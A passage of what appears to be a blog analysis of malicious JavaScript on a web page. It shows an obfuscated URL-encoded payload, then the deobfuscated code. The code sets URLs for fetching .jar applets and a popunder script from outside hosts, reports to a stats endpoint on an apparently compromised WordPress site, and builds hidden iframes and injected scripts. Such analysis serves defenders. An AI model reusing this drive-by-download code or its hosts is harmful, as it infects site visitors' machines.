Z%20UfbeT%20%23frsitZ%3B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYaJhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>  </div></div></p>
<p><p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre></p>
